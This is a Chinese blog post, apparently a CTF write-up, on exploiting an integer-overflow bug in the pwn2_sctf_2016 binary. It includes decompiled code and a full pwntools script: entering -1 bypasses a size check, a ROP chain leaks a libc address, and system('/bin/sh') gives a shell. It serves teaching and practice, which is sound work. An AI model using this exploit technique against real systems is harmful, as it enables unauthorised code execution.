freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用整数溢出getshell
2021-11-11 16:41:18

代码审计

vuln()函数

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(nptr, 4);#nptr是输入的参数,4是长度。
  v2 = atoi(nptr);  #把参数nptr所指向的字符串转换为一个整数。
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(nptr, v2);
  return printf("You said: %s\n", nptr);
}

get_n()函数

int __cdecl get_n(int a1, unsigned int a2)#a1是输入的参数,a2是输入的长度。
{
  unsigned int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )#相当于一个while循环类似于while(1){}
  {
    v4 = getchar(); #该函数以无符号 char 强制转换为 int 的形式返回读取的字符,如果到达文件末尾或发生读错误,则返回 EOF。
    if ( !v4 || v4 == 10 || i >= a2 )#
      break;
    v2 = i;
    *(_BYTE *)(v2 + a1) = v4;#从(v2+a1)这个地址中提供的指针取出一个字节要等于v4
  }
  result = a1 + i;
  *(_BYTE *)(a1 + i) = 0;#同理
  return result;
}

a2定义的是unsigned int同时a2又是输入的字符长度,get_n()函数会接受a2个长度的字符。

后面判断里a2赋值给了i。判断结构下面i又赋值给了v2。

get_n函数

当然这其实不重要,我们重点返回vuln()函数。

vuln函数

这里的v2是int类型。我们可以利用a2unsigned int类型,进行整数溢出来绕过判断。也就是上面说的a2的值赋给了i,i又赋值给了v2。但是在vuln()函数里v2是int类型那么就会造成整数溢出。

大概思路利用-1去进行整数溢出绕过if判断然后利用retlibc3来getshell。
关于整数溢出漏洞后续会出博客来讲。

tips

unsigned int

unsigned int是计算机编程语言中一种表示大于等于0的整数类型。

取值范围

16位:0 到 65535

32位:0 到 4294967295

exp

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn2_sctf_2016')
sh = elf.process()
#sh = remote('node4.buuoj.cn',29117)
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
main_addr = elf.sym['main']
payload = 'A'*(0x2c+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
sh.recvuntil("How many bytes do you want me to read?")
sh.sendline('-1')
sh.recvuntil('\n')
sh.sendline(payload)
sh.recvuntil('\n')
printf_addr = u32(sh.recv(4))
print('printf_got[+]:',hex(printf_addr))

#leak_libc
libc = ELF('./libc-2.23.so')
libc_base = printf_addr - libc.sym['printf']
system_addr = libc.sym['system']+libc_base
str_bin_sh_addr = libc.search('/bin/sh').next()+libc_base
print('str_bin_sh_addr[+]:',hex(str_bin_sh_addr))
print('system_addr[+]:',hex(system_addr))
print('libc_base[+]:',hex(libc_base))

#Getshell
payload = 'A'*(0x2c+4)+p32(system_addr)+p32(main_addr)+p32(str_bin_sh_addr)
sh.recvuntil("How many bytes do you want me to read?")
sh.sendline('-1')
sh.recvuntil('\n')
sh.sendline(payload)
sh.interactive()
# CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录